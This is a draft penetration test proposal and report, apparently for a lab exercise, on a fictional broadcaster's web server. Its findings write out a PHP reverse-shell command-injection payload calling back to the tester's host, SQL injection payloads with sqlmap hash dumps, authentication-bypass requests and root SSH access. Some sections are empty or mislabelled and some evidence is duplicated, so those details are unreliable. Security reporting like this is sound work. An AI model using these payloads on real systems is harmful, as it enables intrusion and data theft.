Text

Description automatically generatedLogo

Description automatically generated

**Hyperthetical Security Consulting  
6 MetroTech Center,  
Brooklyn, NY  
11201**

**https://hyperthetical.com**

**Penetration Test Proposal**

**Near-Earth Broadcast Network**

**05/01/2023**

Table of Contents

[Executive Summary 3](#_Toc129370235)

[Introduction 4](#_Toc129370236)

[Goals and Objectives 3](#_Toc129370237)

[Scope Overview 3](#_Toc129370238)

[In Scope 3](#_Toc129370239)

[Out of Scope 3](#_Toc129370240)

[Methods and Scope 4](#_Toc129370241)

[Detailed Scope 4](#_Toc129370242)

[External Network Pentest 4](#_Toc129370243)

[External Web Application Pentest 5](#_Toc129370244)

[Internal Network Pentest 5](#_Toc129370245)

[Rules of Engagement 5](#_Toc129370246)

[Methodology 6](#_Toc129370247)

[Deliverables 6](#_Toc129370248)

[Roles and Responsibilities 7](#_Toc129370249)

[Hyperthetical Consulting 7](#_Toc129370250)

[Near-Earth Broadcast Network 7](#_Toc129370251)

[Appendix A: Glossary and Definitions 8](#_Toc129370252)

[Appendix B: Tools 10](#_Toc129370253)

[Reconnaissance 10](#_Toc129370254)

[Vulnerability Discovery 10](#_Toc129370255)

[Exploitation and Escalation 10](#_Toc129370256)

# Executive Summary

The proposed penetration test offers a thorough and all-encompassing approach to assess the security of the Near-Earth Broadcast Network ("NBN") IT infrastructure. Hyperthetical Security Consulting ("Hyperthetical"), with their extensive experience and expertise, will conduct a comprehensive penetration test to identify vulnerabilities and potential security risks, recommend remediation measures, and suggest software solutions best suited for NBN's needs.

The Hyperthetical team will assess NBN's ability to defend against direct and indirect attacks by enumerating and then performing attacks against external facing hosts and services, external web apps, and the internal network while avoiding disrupting NBN's daily operations. This penetration test proposal provides an exceptional opportunity for NBN to assess its security posture comprehensively and obtain actionable insights into improving its IT infrastructure's security.

## Goals and Objectives

The goal of this penetration test is to evaluate NBN's cybersecurity risk for outside threats and recommend actions to minimize this risk. Specifically, our objectives are to:

* Identify potential vulnerabilities and weaknesses in the IT infrastructure, web applications, and APIs.
* Test the effectiveness of existing security controls.
* Provide recommendations for improving the security posture of NBN's IT infrastructure.
* Produce a comprehensive report that outlines all findings, recommendations, and best practices for remediation.

## Scope Overview

### In Scope

* NBN public web applications.
* Externally facing hosts and services
* Internally facing hosts and services

### Out of Scope

* NBN Employee VPN
* NBN Office Spaces
* Existing NBN subscriber (“Sub”) and business partner (“BP”) accounts

# Introduction

This Penetration Testing Proposal aims to provide a comprehensive approach to performing a penetration test against the Near-Earth Broadcast Network (“NBN”) IT infrastructure. This proposal outlines the scope, methodology, and deliverables for the proposed penetration test (“pentest”). Using our methods, the pentest team will identify vulnerabilities and potential security risks, provide recommended remediation, and suggest best practices for software solutions. The Hyperthetical Security Consulting (“Hyperthetical”) team has the necessary experience and expertise to perform a comprehensive and detailed pen test of NBN's IT infrastructure, identify vulnerabilities and recommend remediation measures.

To test NBN's ability to defend against direct and indirect attacks, the Hyperthetical team will perform a comprehensive penetration test of NBN's external facing hosts and services, external web apps, and internal network. The team will begin the assessment from outside of the network and perform discovery and enumeration of the NBN external network. After verifying the discovered scope with the NBN security team, they will move on to vulnerability discovery and exploitation against the NBN external network and web applications. If the assessment team gains access to the NBN internal network, they will continue the assessment to find more vulnerabilities in the internal network. The team will perform testing with a focus on identifying medium to critical severity security vulnerabilities.

The Hyperthetical team will conduct the Penetration Test to avoid disrupting NBN's day-to-day operations. The assessment team will not perform Denial of Service (DoS) testing and will provide NBN with a schedule of events outlining the planned testing activities.

# Methods and Scope

## Detailed Scope

All testing will be conducted within a stringently adhered-to scope. All findings and analyses are limited to this scope.

### External Network Pentest

#### In Scope

The assessment team will enumerate all external-facing hosts and services. After performing enumeration, the team will verify the discovered scope with the NBN security team.

#### Out of Scope

|  |  |  |
| --- | --- | --- |
| Name | IP Address/URL | Description |
| NBN VPN | Not Provided | Vendor-hosted VPN for NBN employees. |
| Physical Office | N/A | NBN Office locations. |

### External Web Application Pentest

#### In Scope

The assessment team will enumerate all external-facing web applications. After performing enumeration, the team will verify the discovered scope with the NBN security team.

|  |  |  |
| --- | --- | --- |
| Name | IP Address/URL | Description |
| NBN TVee Web | Not Provided | Media streaming application web version. |
| NBN TVee Mobile | Not Provided | Media streaming application mobile version. |
| NBN Ads | Not Provided | Business partner advertisement web application. |
| NBN Help | Not Provided | Support app for subscriber and business partner accounts. |

#### Out of Scope

|  |  |  |
| --- | --- | --- |
| Name | IP Address/URL | Description |
| NBN Accounts | N/A | Existing NBN subscribers (SUB) and Business Partners (BP) |

### Internal Network Pentest

#### In Scope

If the assessment team gains access to the internal network, they will continue the assessment to find internal vulnerabilities and determine impacts.

#### Out of Scope

|  |  |  |
| --- | --- | --- |
| Name | IP Address/URL | Description |
| NBN VPN | Not Provided | Vendor-hosted VPN for NBN employees. |
| Physical Office | N/A | NBN Office locations. |

### Rules of Engagement

All technical testing will be conducted using proven methodologies to avoid disruption of services.

* The assessment team will not perform denial-of-service testing or utilize techniques deemed likely to cause a system outage or service disruption.
* The assessment team will not attack trusted third-party entities.

## Methodology

The assessment team will conduct testing from both an internal and external standpoint using only proven methodologies. Because the Hyperthetical team will have no prior knowledge of, or access to, the NBN networks or systems, the testing team will conduct a “black box penetration test.”

The penetration testing framework will include the following steps.

1. Reconnaissance
   1. Collect publicly available information about the target organization.
   2. Search for known vulnerabilities in the target network using publicly available information.
   3. Scan the target network to identify live hosts, ports, and services.
   4. Identify the operating systems, applications, and their versions running on the target network.
2. Vulnerability Discovery
   1. Conduct vulnerability scanning and testing to identify potential vulnerabilities in the target network.
   2. Use manual and automated techniques like fuzzing to identify vulnerabilities that automated scanners may miss.
   3. Prioritize the vulnerabilities based on their severity and likelihood of exploitation.
   4. Verify the identified vulnerabilities and ensure that they are exploitable.
3. Exploitation and Escalation
   1. Exploit any discovered vulnerabilities to gain unauthorized access to the target network.
   2. Use privilege escalation techniques to elevate the privileges of any compromised accounts.
   3. Conduct lateral movement to expand the compromise to other systems on the network or gain access to the internal network.
   4. Maintain persistence on the compromised systems to ensure continued access.
   5. Cover tracks to avoid detection by the target organization.

# Deliverables

At the conclusion of the penetration test, Hyperthetical Consulting will deliver the following:

1. Comprehensive Executive Summary
   1. Separate executive report.
   2. The executive summary will be delivered in PDF format.
2. Penetration Test Report
   1. Executive Summary
   2. Narrative attack walkthrough
   3. Vulnerabilities are arranged by level of risk.
   4. Recommendations and proposed remediation steps, including software solutions and best practices.
   5. The report will be delivered in PDF format.

# Attack Walkthrough – External

## Reconnaissance

The Hyperthetical assessment team began the penetration test by performing a full port scan of the external IP space using Nmap. After discovering open ports, they performed more in depth scanning to enumerate the services running on each port. The results included two web services, FTP, and SSH.

|  |
| --- |
| Nmap scan report for 172.16.1.1  Host is up (0.00030s latency).  PORT STATE SERVICE VERSION  80/tcp open http Apache httpd 2.4.29 ((Ubuntu))  443/tcp open ssh OpenSSH 7.6p1 Ubuntu (Ubuntu Linux; protocol 2.0)  8001/tcp open http Apache httpd 2.4.29 ((Ubuntu))  8080/tcp closed http-proxy  9001/tcp open ftp vsftpd 3.0.3  Device type: general purpose  Running: Linux 3.X|4.X  OS CPE: cpe:/o:linux:linux\_kernel:3 cpe:/o:linux:linux\_kernel:4  OS details: Linux 3.2 - 4.9  Network Distance: 1 hop  Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux\_kernel |

**Nmap Results**

The assessment team’s scan results indicated that the FTP service running on 10.10.0.66 may allow anonymous FTP login.

|  |
| --- |
| Nmap scan report for 172.16.1.1  Host is up (0.00030s latency).  PORT STATE SERVICE VERSION  9001/tcp open ftp vsftpd 3.0.3  | ftp-anon: Anonymous FTP login allowed (FTP code 230)  |\_drwxr-xr-x 5 1000 1000 4096 Apr 04 2021 gibson |

**Nmap FTP Information**

The Hyperthetical team connected to the FTP server and was able to login with the username anonymous and an arbitrary password string.

## Vulnerability Discovery

## Exploitation and Escalation

# Attack Walkthrough – Internal

# Findings Details

## **Critical Risk Findings**

### **Command Injection**

#### **Overview**

|  |  |  |
| --- | --- | --- |
| Command Injection | | |
| **Critical Risk** | CVSS Score | 9.8 |
| CVSS Vector String | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |

**Description:** OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data. Very often, an attacker can leverage an OS command injection vulnerability to compromise other parts of the hosting infrastructure, exploiting trust relationships to pivot the attack to other systems within the organization.

**Affected Locations**:

http://10.10.0.66/index.php

* name URL parameter
* email URL parameter

http://10.10.0.66:8001/index.php

* name URL parameter
* email URL parameter

#### **Details**

The “Subscribe Now” box in the web application allows users to enter their name and email address to sign up for the NBN network, as shown below:

Graphical user interface, text, application, email

Description automatically generated  
**Subscribe Now**

After the user inputs their name and email address, the application writes it to the customer list file by using the shell\_exec function, shown in the following line of code:

|  |
| --- |
| $cmd = shell\_exec( "echo '" . $\_GET['email'] . " : " . $\_GET['name'] . " //// ' >> /var/www/html/data/customer.list " ); |

**Write Email and Name To List**

Because the function places the user inputs into the string to be executed by the shell\_exec function without sanitization, an attacker can use specially crafted input to escape the echo command and execute arbitrary commands on the server. The Hyperthetical team was able to use this vulnerability to get a reverse shell on 10.10.0.66 in the context of the www-data user. The below request contains an encoded PHP reverse shell payload that caused the server to connect back to the assessment team’s jump host.

|  |
| --- |
| GET /?name=test&**email=test'%20%26%20php%20-r%20%27%24sock%3Dfsockopen%28%2210.10.0.10%22%2C31337%29%3B%60%2Fbin%2Fbash%20%3C%263%20%3E%263%202%3E%263%60%3B%27%3b%29%23** HTTP/1.1  Host: 10.10.0.66  ...omitted for brevity...  Cookie: authenticated=0  Connection: close |

**Request**

|  |
| --- |
| php -r '$sock=fsockopen("10.10.0.10",31337);`/bin/bash <&3 >&3 2>&3`;' |

**PHP Payload**

After the assessment team sent the payloaded request to the web server, their listener caught a connection back from 10.10.0.66. With the www-data user access, the team was able to access sensitive information on the server and run additional commands. The below figure shows the listener catching the shell and the assessment team validating their access.

|  |
| --- |
| nc -nlvp 31337  listening on [any] 31337 ...  connect to [10.10.0.10] from (UNKNOWN) [10.10.0.66] 56152  **whoami**  **www-data**  pwd  /var/www/html  cat /.root.backup/.ssh/id\_rsa  -----BEGIN RSA PRIVATE KEY-----  MIIEpQIBAAK **[REDACTED]**  ...omitted for brevity... |

**www-data User Shell**

This exploit can be performed by a remote attacker without authentication to the web application; allowing them to easily gain a shell in the www\_data user context. Because the www\_data user has access to the SSH Private Keys in the /.root.backup/.ssh/ directory, an attacker who exploited this vulnerability would be able quickly gain root access of the web server.

#### **Steps to Reproduce**

1. Write a command that will connect back to a listening machine.  
   Ex:   
   php -r '$sock=fsockopen**("$ListeningMachineIP**",**$PortNumber**);`/bin/bash <&3 >&3 2>&3`;'
2. Escape the shell command by appending special characters on each side of the command.  
   Ex:  
   **' &** php -r '$sock=fsockopen("$ListeningMachineIP",$PortNumber);`/bin/bash <&3 >&3 2>&3`;'**;)#**
3. URL Encode the payload and append to a request URL parameter value.  
   Ex:  
   GET /?name=test&email=test**'%20%26%20php%20-r%20%27%24sock%3Dfsockopen%28%2210.10.0.10%22%2C31337%29%3B%60%2Fbin%2Fbash%20%3C%263%20%3E%263%202%3E%263%60%3B%27%3b%29%23**
4. Start a listener on your machine.  
   Ex:  
   $ nc -nlvp **$ListenerPort**
5. Send the request to the server and wait for a connection.

#### **Remediation Recommendations**

* Validate user input against an allowlist of expected values on the server-side.
* Sanitize user input.

##### **Additional Resources**

PortSwigger – OS Command Injection

* <https://portswigger.net/web-security/os-command-injection#:~:text=OS%20command%20injection%20(also%20known,application%20and%20all%20its%20data>

### **SQL Injection**

#### **Overview**

|  |  |  |
| --- | --- | --- |
| Command Injection | | |
| **Critical Risk** | CVSS Score | 9.1 |
| CVSS Vector String | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |

**Description:** SQL vulnerabilities arises when an application takes user input and constructs an SQL query without properly validating or sanitizing that input, potentially allowing an attacker can insert their own SQL code into the query. This can allow them to execute SQL commands on the database or perform actions that the application was not intended to allow. SQL injection attacks can occur in a variety of situations, including login forms, search fields, and any other place where user input is processed by the application. SQL injection attacks can lead to the compromise of sensitive information like credit card details, passwords, and personal user information. It is important to use prepared statements or parameterized queries, which can help ensure that user input is properly validated and sanitized before being used in an SQL query.

**Affected Locations:**

http://10.10.0.66:8001/login.php?

* username URL Parameter

#### **Details**

The login form on the NBN staging website, shown in the figure below, allows the user to input a username and password to log into the application. After the user inputs their username and password, the values are inserted into a SQL query string, as shown in the below figure. The query is then executed against the application server database.

|  |
| --- |
| // Get username  $user = **$\_GET[ 'username' ];**  // Get password  $pass = $\_GET[ 'password' ];  $pass = md5( $pass );  // Check the database  $query = "SELECT \* FROM `users` WHERE **user = '$user'** AND password = '$pass';";  $result = mysqli\_query($conn, $query) or die( '<pre>' . mysqli\_error($conn) . '</pre>' ); |

**Authentication Query**

The above function places user input directly into a string that is later executed as a SQL query. An attacker can use specially crafted input to execute arbitrary SQL commands on the database.

The assessment team was able to inject SQL code that allowed them to access application resources protected by authentication. The application responded to the payloaded request by redirecting to internal employee resources, as shown in the below request and response pair.

**Request:**

|  |
| --- |
| GET /login.php?**username=a%27+OR+1%3D1+--+aaa**&password=test&Login=Enter HTTP/1.1  Host: 10.10.0.66:8001 |

**Response:**

|  |
| --- |
| HTTP/1.1 **302 Found**  Date: Mon, 01 May 2023 10:52:31 GMT  Server: Apache/2.4.29 (Ubuntu)  Expires: Mon, 26 Jul 1997 05:00:00 GMT  Cache-Control: no-cache  Pragma: no-cache  Location: **/internal/employee.php?authenticated=1&user=a' OR 1=1 -- aaa**  Content-Length: 3068  Connection: close  Content-Type: text/html; charset=UTF-8 |

The application redirect took the assessment team to an internal employee welcome page, shown in the following figure.

Text

Description automatically generated with low confidence  
**Employee Welcome Page**

After using SQL injection to successfully authenticate to the site, the assessment team continued to exploit the application SQL database using the SQLMap injection tool. This allowed them to enumerate the back-end database type, database names, table values, and discover sensitive information such as user hashes. The following figure shows highlights from the SQLMap output:

|  |
| --- |
| $ sqlmap -u 'http://10.10.0.66:8001/login.php?username=admin&password=pass&Login=Enter'  [\*] starting @ 16:16:43 /2023-04-29/  ...omitted for brevity...  [16:16:44] [INFO] heuristic (basic) test shows that GET parameter 'username' might be injectable (possible DBMS: 'MySQL')  [16:16:44] [INFO] heuristic (XSS) test shows that GET parameter 'username' might be vulnerable to cross-site scripting (XSS) attacks  [16:16:44] [INFO] testing for SQL injection on GET parameter 'username'  it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y  for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y  ...omitted for brevity...  **GET parameter 'username' is vulnerable.** Do you want to keep testing the others (if any)? [y/N] n  sqlmap identified the following injection point(s) with a total of 409 HTTP(s) requests:  ---  Parameter: username (GET)  Type: boolean-based blind  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause  Payload: **username=admin' RLIKE (SELECT (CASE WHEN (7065=7065) THEN 0x61646d696e ELSE 0x28 END))-- Wwdv&password=pass&Login=Enter**  Type: error-based  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  Payload: **username=admin' AND (SELECT 6019 FROM(SELECT COUNT(\*),CONCAT(0x7171767871,(SELECT (ELT(6019=6019,1))),0x71716b7671,FLOOR(RAND(0)\*2))x FROM INFORMATION\_SCHEMA.PLUGINS GROUP BY x)a)-- mHqq&password=pass&Login=Enter**  Type: time-based blind  Title: MySQL > 5.0.12 AND time-based blind (heavy query)  Payload: **username=admin' AND 5675=(SELECT COUNT(\*) FROM INFORMATION\_SCHEMA.COLUMNS A, INFORMATION\_SCHEMA.COLUMNS B, INFORMATION\_SCHEMA.COLUMNS C)-- ewRQ&password=pass&Login=Enter**  ---  [16:19:31] [INFO] the back-end DBMS is MySQL  web server operating system: Linux Ubuntu 18.04 (bionic)  web application technology: Apache 2.4.29  back-end DBMS: MySQL >= 5.0 (MariaDB fork)  ...omitted for brevity...  Database: mysql  Table: user  [2 entries]  | 127.0.0.1 | root | <blank> | N | \*BE0 **[REDACTED]** |  ...omitted for brevity...  | localhost | root | <blank> | N | \*9FC2 **[REDACTED]** | |

**SQLMap Output**

The assessment team was able to access all of the data in the application SQL database through SQL injection. An attacker would be able to use this vulnerability to discover sensitive information and execute code on the application server.

#### **Steps to Reproduce**

Manual Injection

1. Put the following SQL code in the username parameter of login.php:  
   a' OR 1=1 -- aaa  
     
   Graphical user interface, text, application

   Description automatically generated  
   **SQL Code in Username Field**
2. Input any password value and hit Enter

Automated Injection using SQLMap.

1. Download and install SQLMap.
2. Run SQLMap against the application using the following command:  
   sqlmap -u 'http://10.10.0.66:8001/login.php?

#### **Remediation Recommendations**

* Validate user input against an allowlist of expected values on the server-side.
* Sanitize user input.

##### **Additional Resources**

SQLMap

* <https://sqlmap.org/>

PortSwigger – What is SQL Injection?

* <https://portswigger.net/web-security/sql-injection>

OWASP – SQL Injection

* <https://owasp.org/www-community/attacks/SQL_Injection>

## **High Risk Findings**

### **Information Disclosure – Backup File**

#### **Overview**

|  |  |  |
| --- | --- | --- |
| Command Injection | | |
| **High Risk** | CVSS Score | 8.8 |
| CVSS Vector String | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |

**Description:** TODO

**Affected Locations**:

10.10.0.66

* /.root.backup/.ssh/ Directory

#### **Details**

The application server has a backup file containing SSH keys for the root user. This file can be read by other users on the server, as shown in the following figure of the permissions information.

|  |
| --- |
| gibson@nbnserver:~$ ls -latr /.root.backup/  total 12  drwxr-xr-x 24 root root 4096 Apr 21 2019 ..  drwxr-xr-x 3 root root 4096 Apr 21 2019 .  **drwxr-xr-x 2 root root 4096 Apr 21 2019 .ssh** |

**/.root.backup/. Directory Permissions**

After downloading the stored SSH keys, the assessment team successfully signed into the root account using the id\_rsa private key from the backup file. The terminal output is shown in the below figure.

|  |
| --- |
| (kali㉿kali)-[~/Desktop/Final]  └─$ ssh -D 127.0.0.1:31337 root@10.10.0.66 -p 443 -i Ext-Box/keys/id\_rsa  Welcome to  ███╗ ██╗██████╗ ███╗ ██╗  ████╗ ██║██╔══██╗████╗ ██║  ██╔██╗ ██║██████╔╝██╔██╗ ██║  ██║╚██╗██║██╔══██╗██║╚██╗██║  ██║ ╚████║██████╔╝██║ ╚████║  ╚═╝ ╚═══╝╚═════╝ ╚═╝ ╚═══╝  \*\*Near-Earth Broadcast Network\*\*  \*Someone is Always Watching\*  Server  Penetration testing with permission only!  Last login: Sun Apr 4 21:45:09 2021  root@nbnserver:~# **whoami**  **root** |

**Root Shell**

An attacker with access to a user account on the device would be able to escalate their privileges to those of the root user using the keys stored in the /.root.backup/.ssh/ directory.

#### **Steps to Reproduce**

1. Navigate to the /.root.backup/.ssh/ directory and store the SSH keys on the attacking machine.
2. Access the root account through SSH by using the following command:  
   ssh root@10.10.0.66 -p 443 -i id\_rsa

#### **Remediation Recommendations**

##### **Additional Resources**

### **Information Disclosure – Credentials Stored in Cleartext**

#### **Overview**

|  |  |  |
| --- | --- | --- |
| Command Injection | | |
| **High Risk** | CVSS Score | 8.6 |
| CVSS Vector String | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L |

**Description:** When applications store cleartext credentials in application source code or configuration files, it creates a vulnerability. Insecurely stored credentials can allow attackers to bypass authentication mechanisms to access functionality that should be password protected.

**Affected Locations**:

http://10.10.0.66/data/CEO\_gibson.jpg

10.10.0.66

* /var/log/apache2/access.log\*

10.10.0.66

* /var/www/html/login.php
* /var/www/staging/login.php

#### **Details**

**http://10.10.0.66/data/CEO\_gibson.jpg**

The application /data/ directory contains an image file with the CEO’s profile picture, as shown below:

Text

Description automatically generated with medium confidence

Analysis of the image file using exiftool, shown in the below image, revealed a password stored in the image metadata.

|  |
| --- |
| $ exiftool CEO\_gibson.jpg  ExifTool Version Number : 12.57  File Name : CEO\_gibson.jpg  ...omitted for brevity...  Title : gibson profile picture  Description : gibson profile picture  Warning : [minor] Fixed incorrect URI for xmlns:MicrosoftPhoto  Flash Model : passwd:[REDACTED]  ...omitted for brevity... |

**Image Metadata**

The stored credential allowed the assessment team to access both the web application account and the server user account for the user gibson.

**10.10.0.66 /var/log/apache2/access.log\***

The assessment team discovered that the web server logs included usernames and passwords users entered when they attempted to log into the application. A sample of the log file contents are included in the figure below:

|  |
| --- |
| gibson@nbnserver:~$ grep -i "password" /var/log/apache2/access.log.1  172.16.1.2 - - [04/May/2020:06:25:33 +0000] "GET /login.php?username=stephenson&password=[REDACTED]&Login=Enter HTTP/1.1" 302 3421 "-" |

**Access Log Contents**

When the Hyperthetical team reviewed the log file, the assessors retrieved the valid password for the stephenson user account on the web application.

**10.10.0.66**

**/var/www/html/login.php**

**/var/www/staging/login.php**

The assessment team discovered credentials for the application MySQL Server hardcoded in login.php and stored in cleartext. The below figure shows the part of the code where they were found.

|  |
| --- |
| $ exiftool CEO\_gibson.jpg  ExifTool Version Number : 12.57  File Name : CEO\_gibson.jpg  ...omitted for brevity...  Title : gibson profile picture  Description : gibson profile picture  Warning : [minor] Fixed incorrect URI for xmlns:MicrosoftPhoto  Flash Model : passwd:[REDACTED]  ...omitted for brevity... |

**Credentials in Code**

#### **Remediation Recommendations**

##### **Additional Resources**

### **Insufficient Authentication Controls**

#### **Overview**

|  |  |  |
| --- | --- | --- |
| Command Injection | | |
| **High Risk** | CVSS Score | 7.5 |
| CVSS Vector String | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |

**Description:** Authorization issues occur when the application fails to successfully implement authentication controls. These issues may result in arbitrary users gaining unauthorized access to the application, its underlying functionality, or protected resources.

**Affected Locations**:

http://10.10.0.66

* authenticated Cookie

http://10.10.0.66:8001 (Staging)

* authenticated URL Parameter

#### **Details**

**http://10.10.0.66**

The application uses a cookie, authenticated, to validate whether the user has successfully logged in to the application. The cookie uses a Boolean value of 1 (TRUE) or 0 (FALSE) to indicate the user’s authentication status. This makes it possible for an attacker to change the value of the authenticated cookie to bypass authorization controls and access protected resources.

When a user attempts to access protected resources, such as /internal/customers.php, without authentication, the application responds with an error message prompting the user to log in first, shown in the below request and response pair:

**Request:**

|  |
| --- |
| GET /internal/customers.php?list=..%2Fdata%2Fcustomer.list HTTP/1.1  Host: 10.10.0.66  ...omitted for brevity...  Cookie: **authenticated=0**  Connection: close |

**Response:**

|  |
| --- |
| HTTP/1.1 200 OK  Date: Fri, 28 Apr 2023 10:43:55 GMT  ...omitted for brevity  </header>  <p>FOR INTERNAL USE ONLY</p>  <p>**Error: You must login first.** </p>  <p>FOR INTERNAL USE ONLY</p>  ...omitted for brevity...  </html> |

The authentication error prevents the user from accessing the protected content.

However, by intercepting the request and changing the value of authenticated from a 0 to a 1, the Hyperthetical team was able to access the protected resources without authentication, shown in the following request and response pair:

**Request:**

|  |
| --- |
| GET /internal/customers.php?list=..%2Fdata%2Fcustomer.list HTTP/1.1  Host: 10.10.0.66  ...omitted for brevity...  Cookie: **authenticated=1**  Connection: close |

**Response:**

|  |
| --- |
| HTTP/1.1 200 OK  Date: Fri, 28 Apr 2023 10:54:21 GMT  ...omitted for brevity...  <div class="container">  <header class="major">  <p><b>Future Customers</b>  </p>  </header>  **<p>FOR** INTERNAL USE ONLY</p>  **<p>flag2{authorized\_user\_access}**  </br>NqF5Rz@yahoo.com : connie ////  long@gmail.com : capone ////  hjk12345@hotmail.com : ned ////  snoogy@yahoo.com : frank ////  polobear@yahoo.com : jess ////  ...omitted for brevity... |

After the assessors intercepted the request and changed the cookie value, the customer list was displayed in the browser, shown below:

Graphical user interface, text, application

Description automatically generated  
**Customer List**

An attacker who exploited this vulnerability would be able to access sensitive data and other resources protected by authentication without signing into the application.

**http://10.10.0.66:8001 (Staging)**

The assessment team discovered a similar vulnerability exists in the NBN staging application. The staging application uses a Boolean URL parameter, authenticated, to validate whether the user has successfully logged in to the application. When a user attempts to access protected resources, such as /internal/customers.php, without authentication, the application responds with an error message prompting the user to log in first, shown in the below request and response pair:

**Request:**

|  |
| --- |
| GET /internal/customers.php?**authenticated=0**&list=..%2Fdata%2Fcustomer.list HTTP/1.1  Host: 10.10.0.66:8001  ...omitted for brevity... |

**Response:**

|  |
| --- |
| HTTP/1.1 200 OK  Date: Fri, 28 Apr 2023 12:29:16 GMT  ...omitted for brevity...  <div class="container">  <header class="major">  <p><b>Future Customers</b>  </p>  </header>  <p>FOR INTERNAL USE ONLY</p>  <p>**Error: You must login first.** </p>  <p>FOR INTERNAL USE ONLY</p> |

The assessors were able to access the customer list by changing the value of authenticated in the URL, as shown in the following request and response pair:

**Request:**

|  |
| --- |
| GET /internal/customers.php?**authenticated=1**&list=..%2Fdata%2Fcustomer.list HTTP/1.1  Host: 10.10.0.66:8001  ...omitted for brevity... |

**Response:**

|  |
| --- |
| HTTP/1.1 200 OK  Date: Fri, 28 Apr 2023 12:31:44 GMT  ...omitted for brevity...  <div class="container">  <header class="major">  <p><b>Future Customers</b>  </p>  </header>  **<p>FOR INTERNAL USE ONLY</p>**  **<p>SAMPLE DATA**  **</p>**  **<p>FOR INTERNAL USE ONLY</p>**  ...omitted for brevity... |

The customer list was shown in the assessor’s browser when the URL was loaded.

Graphical user interface, text, application, email

Description automatically generated  
**Sample Customer List**

An attacker who exploited this vulnerability would be able to access sensitive data and other resources protected by authentication without signing into the application.

#### **Steps to Reproduce**

**http://10.10.0.66**

1. Attempt to access a protected resource such as http://10.10.0.66/internal/customers.php?list=..%2Fdata%2Fcustomer.list
2. Intercept the HTTP request using a tool such as Burp Suite Intercept.
3. Change the value of the authenticated cookie from 0 to 1.
4. Send the edited request to the application.

**http://10.10.0.66:8001 (Staging)**

1. Attempt to access a protected resource such as http://10.10.0.66:8001/internal/customers.php?authenticated=0&list=..%2Fdata%2Fcustomer.list
2. Change the value of the authenticated URL parameter from 0 to 1:  
   http://10.10.0.66:8001/internal/customers.php?authenticated=1&list=..%2Fdata%2Fcustomer.list

#### **Remediation Recommendations**

##### **Additional Resources**

### **Anonymous FTP Access**

#### **Overview**

|  |  |  |
| --- | --- | --- |
| Command Injection | | |
| **High Risk** | CVSS Score | 7.5 |
| CVSS Vector String | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |

**Description:** Anonymous FTP access vulnerabilities occur when a server is configured to allow unknown users to access and store files through FTP. This access allows unauthenticated users to read files that may be restricted and access sensitive information. In many cases, unauthorized users may even be able to store files on the server.

**Affected Locations**:

10.10.0.66

* Port 9001

#### **Details**

The results of the Hyperthetical team’s Nmap scan of the NBN external network indicated that the FTP service running on port 9001 allowed anonymous access. These results are shown in the following figure:

|  |
| --- |
| Nmap scan report for 10.10.0.66  ...omitted for brevity...  PORT STATE SERVICE VERSION  9001/tcp open ftp vsftpd 3.0.3  | ftp-syst:  | STAT:  | FTP server status:  | Connected to 10.10.0.10  | Logged in as ftp  | TYPE: ASCII  | No session bandwidth limit  | Session timeout in seconds is 300  | Control connection is plain text  | Data connections will be plain text  | At session startup, client count was 1  | vsFTPd 3.0.3 - secure, fast, stable  |\_End of status  | ftp-anon: Anonymous FTP login allowed (FTP code 230)  |\_drwxr-xr-x 5 1000 1000 4096 Apr 04 2021 gibson  ...omitted for brevity... |

**Nmap Results**

The assessors were able to access the /gibson/ directory by signing into FTP with the username anonymous and a random string for the password. While they were not able to store files or access much outside of the /gibson/ directory, they used their access to download sensitive information such as flag3. The below figure shows the assessment team’s terminal output during the FTP connection:

|  |
| --- |
| ftp 10.10.0.66 -p 9001  Connected to 10.10.0.66.  220 (vsFTPd 3.0.3)  Name (10.10.0.66:kali): anonymous  331 Please specify the password.  Password:  230 Login successful.  Remote system type is UNIX.  Using binary mode to transfer files.  ...omitted for brevity...  ftp> cd gibson  250 Directory successfully changed.  ftp> ls  229 Entering Extended Passive Mode (|||34190|)  150 Here comes the directory listing.  -rw-rw-rw- 1 0 0 46037 Apr 03 2020 flag3  226 Directory send OK.  ftp> get flag3  local: flag3 remote: flag3  229 Entering Extended Passive Mode (|||41595|)  150 Opening BINARY mode data connection for flag3 (46037 bytes).  100% |\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*| 46037 17.89 MiB/s 00:00 ETA  226 Transfer complete.  46037 bytes received in 00:00 (15.24 MiB/s) |

**Anonymous FTP Connection**

An attacker would be able to use this vulnerability to access files with sensitive information stored on the server.

#### **Steps to Reproduce**

1. Connect to the server through FTP using the following command:  
   ftp 10.10.0.66 -p 9001
2. Enter anonymous when prompted for the username.
3. Enter any string for the password.

#### **Remediation Recommendations**

* Replace FTP with a more secure alternative, such as SFTP.
* Ensure authentication credentials are required for all system access.
* Remove default accounts and disable anonymous services.

##### **Additional Resources**

### **Local File Inclusion**

#### **Overview**

|  |  |  |
| --- | --- | --- |
| Command Injection | | |
| **High Risk** | CVSS Score | 7.5 |
| CVSS Vector String | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |

**Description:**

**Affected Locations**:

http://10.10.0.66/internal/customers.php

* list URL Parameter

http://10.10.0.66:8001/internal/customers.php

* list URL Parameter

#### **Details**

